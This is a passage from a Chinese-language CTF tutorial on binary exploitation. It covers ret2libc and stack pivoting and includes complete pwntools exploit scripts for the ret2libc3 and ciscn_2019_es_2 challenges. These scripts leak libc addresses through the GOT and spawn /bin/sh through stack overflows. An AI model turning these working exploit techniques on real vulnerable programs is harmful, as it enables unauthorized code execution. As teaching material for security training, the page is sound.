from pwn import *

p = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx_ret = 0x0804843d
buf2 = 0x804a080
payload = 'a'*112
payload += p32(gets_plt)+p32(pop_ebx_ret)+p32(buf2)
payload += p32(system_plt)+'bbbb'+p32(buf2)
gdb.attach(p)

p.sendline(payload)
</code></pre>
<p>需要注意的是，这里向程序中 bss 段的 buf2 处写入 /bin/sh 字符串，并将其地址作为 system 的参数传入。这样以便于可以获得 shell。</p>
<h4 id="例3"><a class="header" href="#例3">例3</a></h4>
<p>在例 2 的基础上，再次将 system 函数的地址去掉。此时，我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先，查看安全保护</p>
<pre><code>没有system
有puts --&gt; puts(&amp;puts);
泄露puts_addr, 在libc找puts静态地址，基地址 = puts_addr - puts静态地址。
在libc找到system和/bin/sh的静态地址，system_addr = 基地址  + system的静态地址。
							      binsh_addr = 基地址 + binsh的静态地址。
payload = ’a'*112 + p32(system_addr) + ‘bbbb’+p32(binsh_addr)
; system(‘/bin/sh’);
</code></pre>
<pre><code class="language-shell">➜  ret2libc3 checksec ret2libc3
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
</code></pre>
<p>可以看出，源程序仍旧开启了堆栈不可执行保护。进而查看源码，发现程序的 bug 仍然是栈溢出</p>
<pre><code class="language-C">int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts(&quot;No surprise anymore, system disappeard QQ.&quot;);
  printf(&quot;Can you find it !?&quot;);
  gets((char *)&amp;v4);
  return 0;
}
</code></pre>
<p>那么我们如何得到 system 函数的地址呢？这里就主要利用了两个知识点</p>
<ul>
<li>system 函数属于 libc，而 libc.so 动态链接库中的函数之间相对偏移是固定的。</li>
<li>即使程序有 ASLR 保护，也只是针对于地址中间位进行随机，最低的12位并不会发生改变。而 libc 在github上有人进行收集，如下
<ul>
<li>https://github.com/niklasb/libc-database</li>
</ul>
</li>
</ul>
<p>所以如果我们知道 libc 中某个函数的地址，那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址。</p>
<p>那么如何得到 libc 中的某个函数的地址呢？我们一般常用的方法是采用 got 表泄露，即输出某个函数对应的 got 表项的内容。<strong>当然，由于 libc 的延迟绑定机制，我们需要泄漏已经执行过的函数的地址。</strong></p>
<p>我们自然可以根据上面的步骤先得到 libc，之后在程序中查询偏移，然后再次获取 system 地址，但这样手工操作次数太多，有点麻烦，这里给出一个 libc 的利用工具，具体细节请参考 readme</p>
<ul>
<li>https://github.com/lieanu/LibcSearcher</li>
</ul>
<p>安装<code>LibcSearcher</code></p>
<pre><code class="language-shell">git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
</code></pre>
<p>此外，在得到 libc 之后，其实 libc 中也是有 /bin/sh 字符串的，所以我们可以一起获得 /bin/sh 字符串的地址。</p>
<p>这里我们泄露 __libc_start_main 的地址，这是因为它是程序最初被执行的地方。基本利用思路如下</p>
<ul>
<li>泄露 __libc_start_main 地址</li>
<li>获取 libc 版本</li>
<li>获取 system 地址与 /bin/sh 的地址</li>
<li>再次执行源程序</li>
<li>触发栈溢出执行 system(‘/bin/sh’)</li>
</ul>
<p>exp 如下</p>
<pre><code class="language-python">#-*- coding:utf-8-*-
from pwn import *
from LibcSearcher import *
context(os=&quot;linux&quot;, arch=&quot;i386&quot;, log_level=&quot;debug&quot;)
local = 1
if local:
	p = process('./ret2libc3')#,env={'LD_PRELOAD':'./libc.so.6'})
else:
	p = remote('node4.buuoj.cn',)
elf = ELF('ret2libc3')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
o_g = [0x45226,0x4527a,0xf0364,0xf1207]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda      :u64(p.recvuntil(&quot;\x7f&quot;)[-6:].ljust(8,&quot;\x00&quot;))
l32 = lambda      :u32(p.recvuntil(&quot;\xf7&quot;)[-4:].ljust(4,&quot;\x00&quot;))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + &quot;: 0x%x&quot; % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def get_addr(addr, name, get_addr_name, mode=1):
	if mode:
		return addr-libc.sym[name]+libc.sym[get_addr_name]
	else:
		return addr-libc.dump(name)+libc.dump(get_addr_name)
# shellcode = asm(shellcraft.sh(),arch='amd64', os='linux')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main_addr = 0x08048618

payload = 'a'*112 + p32(puts_plt) + p32(main_addr) + p32(libc_start_main_got)
p.sendline(payload)
libc_start_main = l32()
gdb.attach(p)

# local
libc = elf.libc
libc_base = libc_start_main - libc.sym['__libc_start_main']
system_addr = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh').next()

# remote --- use LibcSearcher

# libc = LibcSearcher('__libc_start_main', libc_start_main)
# libc_base = libc_start_main - libc.dump('__libc_start_main')
# system_addr = libcbase + libc.dump('system')
# binsh = libcbase + libc.dump('str_bin_sh')

lg('libc_start_main', libc_start_main)
lg('system_addr', system_addr)
lg('libc_base',libc_base)
lg('binsh',binsh)

payload = 'c'*104
payload += p32(system_addr)+'bbbb' + p32(binsh)

p.sendline(payload)

p.interactive()

</code></pre>
<h2 id="题目-2"><a class="header" href="#题目-2">题目</a></h2>
<ul>
<li>warmup_csaw_2016</li>
<li>others_babystack</li>
<li>pwn3</li>
</ul>
<h1 id="栈迁移技术"><a class="header" href="#栈迁移技术">栈迁移技术</a></h1>
<h2 id="原理-4"><a class="header" href="#原理-4">原理</a></h2>
<p>概括地讲，我们在之前讲的栈溢出不外乎两种方式</p>
<ul>
<li>控制程序 EIP</li>
<li>控制程序 EBP</li>
</ul>
<p>其最终都是控制程序的执行流。在栈迁移中，我们所利用的技巧便是同时控制 EBP 与 EIP，这样我们在控制程序执行流的同时，也改变程序栈帧的位置。一般来说其 payload 如下</p>
<pre><code>buffer padding|fake ebp|leave ret addr|
</code></pre>
<p>即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分</p>
<ul>
<li>函数的返回地址被我们覆盖为执行 leave ret 的地址，这就表明了函数在正常执行完自己的 leave ret 后，还会再次执行一次 leave ret。</li>
<li>其中 fake ebp 为我们构造的栈帧的基地址，需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下</li>
</ul>
<pre><code>fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2
</code></pre>
<p>这里我们的 fake ebp 指向 ebp2，即它为 ebp2 所在的地址。通常来说，这里都是我们能够控制的可读的内容。</p>
<p><strong>下面的汇编语法是 intel 语法。</strong></p>
<p>在我们介绍基本的控制过程之前，我们还是有必要说一下，函数的入口点与出口点的基本操作</p>
<p>入口点</p>
<pre><code>push ebp  # 将ebp压栈
mov ebp, esp #将esp的值赋给ebp
</code></pre>
<p>出口点</p>
<pre><code>leave
ret #pop eip，弹出栈顶元素作为程序下一个执行地址
</code></pre>
<p>其中 leave 指令相当于</p>
<pre><code>mov esp, ebp # 将ebp的值赋给esp
pop ebp # 弹出ebp
</code></pre>
<p>下面我们来仔细说一下基本的控制过程。</p>
<ol>
<li>在有栈溢出的程序执行 leave 时，其分为两个步骤
<ul>
<li>mov esp, ebp ，这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。</li>
<li>pop ebp， 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后，ebp便指向了ebp2，也就是保存了 ebp2 所在的地址。</li>
</ul>
</li>
<li>执行 ret 指令，会再次执行 leave ret 指令。</li>
<li>执行 leave 指令，其分为两个步骤
<ul>
<li>mov esp, ebp ，这会将 esp 指向 ebp2。</li>
<li>pop ebp，此时，会将 ebp 的内容设置为 ebp2 的值，同时 esp 会指向 target function。</li>
</ul>
</li>
<li>执行 ret 指令，这时候程序就会执行 target function，当其进行程序的时候会执行
<ul>
<li>push ebp，会将 ebp2 值压入栈中，</li>
<li>mov ebp, esp，将 ebp 指向当前基地址。</li>
</ul>
</li>
</ol>
<p>此时的栈结构如下</p>
<pre><code>ebp
|
v
ebp2|leave ret addr|arg1|arg2
</code></pre>
<ol>
<li>当程序执行时，其会正常申请空间，同时我们在栈上也安排了该函数对应的参数，所以程序会正常执行。</li>
<li>程序结束后，其又会执行两次 leave ret addr，所以如果我们在 ebp2 处布置好了对应的内容，那么我们就可以一直控制程序的执行流程。</li>
</ol>
<p>可以看出在栈迁移 中，我们有一个需求就是，我们必须得有一块可以写的内存，并且我们还知道这块内存的地址。</p>
<h2 id="图解"><a class="header" href="#图解">图解</a></h2>
<p>主要用的就是利用 leave;ret; 这样的gadgets</p>
<p><img src="https://gitcode.net/dnrops/blog_images/-/raw/main/all_imgs/1583751269591-9a856c5f-909f-49eb-ad59-2e660721ac09.png" alt="image.png" /></p>
<p>假设，我们有一个程序，存在栈溢出漏洞，我们把内容覆盖成了下面这样子，当然此时 bss 段或者 data 段还没有内容，待会会通过 read 函数输入：</p>
<p><img src="https://gitcode.net/dnrops/blog_images/-/raw/main/all_imgs/1583751904484-d0c55ace-3ed8-4917-91b8-fcd1a1ef5e55.png" alt="image.png" /></p>
<p>而实际上在程序调用完成 call 返回的时候，就会有这样的 <code>mov esp,ebp</code> <code>pop ebp</code> <code>ret</code> 指令</p>
<p><img src="https://gitcode.net/dnrops/blog_images/-/raw/main/all_imgs/1583751473086-167601a3-bdb8-4994-819e-c5665fcb9ca7.png" alt="image.png" /></p>
<p>当我们挨个去执行的时候会出现这样的情况</p>
<p>首先是 <code>mov esp,ebp ; esp=ebp</code> 执行完以后变成了这个样子：</p>
<p><img src="https://gitcode.net/dnrops/blog_images/-/raw/main/all_imgs/1583751918976-b36e8f03-dad2-4a68-bc4c-8fbad6372ffa.png" alt="image.png" /></p>
<p>然后 <code>pop ebp ; ebp = *(esp)</code> 执行完后就是</p>
<p><strong>别忘了，pop 指令是把栈顶的值弹到 指定的寄存器，也就是说 esp 会自动的加一个单位</strong></p>
<p><img src="https://gitcode.net/dnrops/blog_images/-/raw/main/all_imgs/1583751935372-eda3a4b9-c702-4ccb-9026-e959f6b4d40f.png" alt="image.png" /></p>
<p>read(0, buf, 0x100);</p>
<p>这时候就到 <code>ret ; pop eip; eip = *(esp)</code> 了，我们可以通过 read 函数来把内容输入到 fake ebp1 的地址处</p>
<p>构造的内容主要是把fake ebp1 处写成 fake ebp2 的地址</p>
<p><img src="https://gitcode.net/dnrops/blog_images/-/raw/main/all_imgs/1583751883921-bc78a815-a166-4e1c-9eab-40507aed9242.png" alt="image.png" /></p>
<p>read 函数执行完成以后程序返回到了 leave_ret，这样就会在执行一遍上面说的那样</p>
<p>首先是 <code>mov esp,ebp</code> 执行完成后效果如下：</p>
<p><img src="https://gitcode.net/dnrops/blog_images/-/raw/main/all_imgs/1583752086719-16f00086-3e30-4c54-8dcf-9461525818da.png" alt="image.png" /></p>
<p>然后是 <code>pop ebp</code> 执行完成后：</p>
<p><img src="https://gitcode.net/dnrops/blog_images/-/raw/main/all_imgs/1583752167974-cc20b00e-3209-405c-b364-f0413a6e8137.png" alt="image.png" /></p>
<p>此时在执行 <code>ret</code> 命令，他就会执行我们构造在 bss 段后者 data 段的那个函数</p>
<p><img src="https://gitcode.net/dnrops/blog_images/-/raw/main/all_imgs/1583752275648-10ee7f0d-b076-4055-8281-def34b84981e.png" alt="image.png" /></p>
<h2 id="ciscn_2019_es_2"><a class="header" href="#ciscn_2019_es_2">ciscn_2019_es_2</a></h2>
<h3 id="查看文件保护"><a class="header" href="#查看文件保护">查看文件保护</a></h3>
<pre><code class="language-sh">[*] 'ciscn_2019_es_2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
</code></pre>
<h3 id="静态分析"><a class="header" href="#静态分析">静态分析</a></h3>
<p>主函数如下</p>
<pre><code class="language-C">int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts(&quot;Welcome, my friend. What's your name?&quot;);
  vul();
  return 0;
}
</code></pre>
<p>vul函数如下</p>
<pre><code class="language-C">int vul()
{
  char s; // [esp+0h] [ebp-28h]

  memset(&amp;s, 0, 0x20u);
  read(0, &amp;s, 0x30u);
  printf(&quot;Hello, %s\n&quot;, &amp;s);
  read(0, &amp;s, 0x30u);
  return printf(&quot;Hello, %s\n&quot;, &amp;s);
}
</code></pre>
<p>hack函数如下</p>
<pre><code class="language-c">int hack()
{
  return system(&quot;echo flag&quot;);
}
</code></pre>
<h3 id="思路分析"><a class="header" href="#思路分析">思路分析</a></h3>
<ol>
<li>
<p>目前信息：</p>
<ul>
<li><code>vul</code>函数有溢出漏洞，但仅能覆盖到<code>ebp</code>与<code>return address</code></li>
<li><code>plt</code>表内有<code>system</code></li>
<li>无后门函数</li>
<li>No PIE</li>
</ul>
</li>
<li>
<p>思路：</p>
<ul>
<li>溢出长度仅够修改<code>ebp</code>与<code>return address</code>，考虑栈迁移的手法，将栈迁移到别的区域，本题第一次<code>printf</code>可泄漏<code>ebp</code>，并且在<code>s</code>处可两次写入，选择迁移栈至<code>s</code>处</li>
</ul>
</li>
</ol>
<h3 id="exp"><a class="header" href="#exp">exp</a></h3>
<pre><code class="language-py">from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_es_2/ciscn_2019_es_2'
# io = remote('node4.buuoj.cn', 27712)
io = process(pwnfile)
elf = ELF(pwnfile)
io.recv()
payload = flat(['a'*0x24, 'b'*4])
# 利用printf函数\x00结束的特性 将s到ebp之间填充字符以泄漏ebp
io.send(payload)
io.recvuntil('bbbb')
ebp = u32(io.recv(4))
success('rbp :'+hex(ebp))
offset = 0x38
write_stack_addr = ebp-offset
# 迁移至栈上s起始的区域,采用相对定位确定位置
system_addr = elf.plt['system']
leave_ret_addr = 0x080485FD
payload = flat([write_stack_addr+0x100, system_addr,0xdeadbeef, write_stack_addr+16, '/bin/sh\x00'])
# 字符串/bin/sh按照位置写入了write_stack_addr+16地址处
payload = payload.ljust(0x28, b'\x00')
payload += flat([write_stack_addr, leave_ret_addr])
io.send(payload)
io.interactive()
</code></pre>
<p>​</p>

                    </main>

                    <nav class="nav-wrapper" aria-label="Page navigation">
                        <!-- Mobile navigation buttons -->
                            <a rel="prev" href="../../posts/ctf/pwn_patch_defense_skill.html" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
                                <i class="fa fa-angle-left"></i>
                            </a>

                            <a rel="next" href="../../posts/ctf/pwn_heap_overflow.html" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
                                <i class="fa fa-angle-right"></i>
                            </a>

                        <div style="clear: both"></div>
                    </nav>
                </div>
            </div>

            <nav class="nav-wide-wrapper" aria-label="Page navigation">
                    <a rel="prev" href="../../posts/ctf/pwn_patch_defense_skill.html" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
                        <i class="fa fa-angle-left"></i>
                    </a>

                    <a rel="next" href="../../posts/ctf/pwn_heap_overflow.html" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
                        <i class="fa fa-angle-right"></i>
                    </a>
            </nav>

        </div>



        <script>
            window.playground_line_numbers = true;
        </script>

        <script>
            window.playground_copyable = true;
        </script>

        <script src="../../ace.js"></script>
        <script src="../../editor.js"></script>
        <script src="../../mode-rust.js"></script>
        <script src="../../theme-dawn.js"></script>
        <script src="../../theme-tomorrow_night.js"></script>

        <script src="../../elasticlunr.min.js"></script>
        <script src="../../mark.min.js"></script>
        <script src="../../searcher.js"></script>

        <script src="../../clipboard.min.js"></script>
        <script src="../../highlight.js"></script>
        <script src="../../book.js"></script>

        <!-- Custom JS scripts -->
        <script src="../../src/js/custom.js"></script>


    </div>
    </body>
</html>
